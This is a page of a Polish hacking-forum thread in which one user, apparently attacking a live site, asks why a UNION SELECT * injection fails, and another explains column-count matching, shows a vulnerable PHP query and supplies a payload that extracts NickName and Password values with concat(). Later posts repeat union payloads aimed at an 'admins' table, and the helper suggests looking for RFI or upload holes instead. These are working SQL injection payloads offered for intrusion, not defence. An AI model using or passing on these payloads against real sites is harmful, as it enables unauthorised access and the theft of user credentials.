Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki 1 do 10 z 15

Temat: different number of columns

  1. #1
    Zarejestrowany
    Mar 2008
    Postów
    21

    Domyślnie different number of columns

    Mam pytanie dot. SQL Injection, Próbuje użyć:

    -1' union select * from Profiles where ID=1

    dostaje komunikat: Database access error. Description: The used SELECT statements have a different number of columns

    chodzi tu o numer, liczbe kolumn hmm.. ale po co to, skoro chce wyciągnąć wszystko czyli * ? ...

  2. #2
    h3x
    h3x jest offline Banned
    Zarejestrowany
    Dec 2007
    Postów
    271

    Domyślnie

    nie. union select musi miec taka sama liczbe kolump po obu stronach.

    a wiec jesli select wyciagal 5, nie mozesz wyciagnac * (czyli wszystkich) tylko dokladnie 5.

    -1' union select 0,0,0,0,0,0,0,0,nazwa_tabeli,0,0,0 from Profiles where ID=1

    liczbe kolumn uzyskasz jak nie bedzie erroru, a pozycje twojej tabeli na slepo.

  3. #3
    Zarejestrowany
    Mar 2008
    Postów
    21

    Domyślnie

    CREATE TABLE `Profiles` (
    `ID` bigint(8) unsigned NOT NULL auto_increment,
    `NickName` varchar(48) NOT NULL default '',
    `Password` varchar(32) NOT NULL default '',
    `Country` varchar(2) NOT NULL default 'US',
    `City` varchar(30) default NULL,
    `Headline` varchar(255) NOT NULL default '',
    `DescriptionMe` mediumtext NOT NULL,
    `Sex` enum('female','male') NOT NULL default 'female',
    `DateOfBirth` date NOT NULL default '0000-00-00',
    `Email` varchar(50) NOT NULL default '',
    `EmailFlag` enum('HTML','Text','Not sure') NOT NULL default 'HTML',
    `EmailNotify` enum('NotifyMe','NotNotifyMe') NOT NULL default 'NotifyMe',
    `Status` enum('Unconfirmed','Approval','Active','Rejected', 'Suspended') NOT NULL default 'Unconfirmed',
    `LastLoggedIn` datetime default NULL,
    `LastModified` datetime NOT NULL default '0000-00-00 00:00:00',
    `LastReg` datetime NOT NULL default '0000-00-00 00:00:00',
    `LookingFor` enum('female','male','all') NOT NULL default 'all',
    `PrimPhoto` int(11) NOT NULL default '0',
    `Picture` enum('0','1') NOT NULL default '0',
    `LastNavTime` datetime NOT NULL default '0000-00-00 00:00:00',
    `LastNavPage` int(4) NOT NULL default '0',
    `Featured` enum('0','1') NOT NULL default '0',
    `aff_num` int(5) unsigned NOT NULL default '0',
    `zip` varchar(23) NOT NULL default '',
    `PaymentSubscription` tinyint(1) NOT NULL default '0',
    `Tags` varchar(255) NOT NULL default '',
    PRIMARY KEY (`ID`),
    UNIQUE KEY `NickName` (`NickName`) =-1' union select * from Profiles where ID=1
    ) ENGINE=MyISAM DEFAULT CHARSET=utf8;


    Dane tabeli `Profiles` ..

  4. #4
    h3x
    h3x jest offline Banned
    Zarejestrowany
    Dec 2007
    Postów
    271

    Domyślnie

    mowie ci, mozesz wywalic tylko dokladna liczbe kolumn z selecta. Sprawdzaj po 1.

    union ... 0 from
    union ... 0,0 from
    union ... 0,0 from
    union ... 0,0,0 from


    jak nie dostaniesz errora, to masz liczbe.

    funkcja concat(id, pass, etc) polaczy ci kilka pol, char() doda jakis separator.

    najpierw okersl ile pol masz po lewej stronie

  5. #5
    Zarejestrowany
    Mar 2008
    Postów
    21

    Domyślnie

    a mógł byś prostszym jęzkiem to wszystko napisać? Bo sory, SQL nie znam. Ogólnie SQL Injection się nie zajmuje, to sytuacja wyjątkowa, to że union select po obu stronach ma miec taka sama liczbe kolumn mówi mi tyle co nic.

  6. #6
    h3x
    h3x jest offline Banned
    Zarejestrowany
    Dec 2007
    Postów
    271

    Domyślnie

    kk


    <?php
    mysql_connect('127.0.0.1', 'root', 'password');
    $a = mysql_query('select `a`,`b`,`c` from `forum`.`tabela` where `id` = \''.$_GET['id'].'\');
    while($b = mysql_fetch_row($a))printf('%s<br>', $b[0]);
    ?>

    wyciaga 3 kolumny, podatny jesli mq = off.
    a wiec dopisujesz: ' union select concat(`NickName`,char(0x20),`Password`),0,0 from `profiles` where `id` = 1 /*

    wazne aby pozycje sie zgadzaly ($row[0] ma byc polem, nie zerem)


    a jesli nie rozumiesz sqla, to moze poszukaj innej dziury
    a noz sie jakies rfi lub upload trafi
    Ostatnio edytowane przez h3x : 05-14-2008 - 22:40

  7. #7
    Zarejestrowany
    Mar 2008
    Postów
    21

    Domyślnie

    Dzięki powinno sie przydać.
    Ostatnio edytowane przez mdma_niac : 05-15-2008 - 13:45

  8. #8
    Zarejestrowany
    Mar 2008
    Postów
    21

    Domyślnie

    Tabel jest ponad 150...

    union select 1,2,3,........150... from Profiles where ID=1
    tyle sprawdzania ręcznie to troche przesada...a do INFORMATION_SCHEMA "access denied". Jakieś polecenie w SQL? Czy zabierać się za pisanie skryptu w php, sprawdzającego wszystkie możliwości..?

    Nie uzywam "edytuj" bo pewnie nawet nikt nie zauważy, że coś do tego wątku zostało dodane a zależy mi na szybkiej odpowiedzi.

  9. #9
    h3x
    h3x jest offline Banned
    Zarejestrowany
    Dec 2007
    Postów
    271

    Domyślnie

    tabela != kolumna...

    moze poprostu podaj ten link, a ktos zrobi to za ciebie? Bo chyba nic nie rozumiesz.

    http://www.uw-team.org/index.php?id=videoarty

  10. #10
    Zarejestrowany
    Mar 2008
    Postów
    21

    Domyślnie

    załóżmy, że baza ma 5 tabel.

    union select 1,2,3,4,5 from admins/*

    założmy, że admins to tabela numer 2, adekwatnie:

    union select 1,nazwa_kolumny,3,4,5 from admins/* (można uzyć concat...)

    I czy ja źle myśle?...Owszem, dobrze... Ale musiałem sam dojść do tego Gustujecie w trudnym języku, chaotycznym tłumaczeniu głupim noobkom, którzy na Wasze słowa robią wielkie gały i "oOooOOOoOO"... n/c
    Ostatnio edytowane przez mdma_niac : 05-15-2008 - 21:30

Strona 1 z 2 12 OstatniOstatni

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj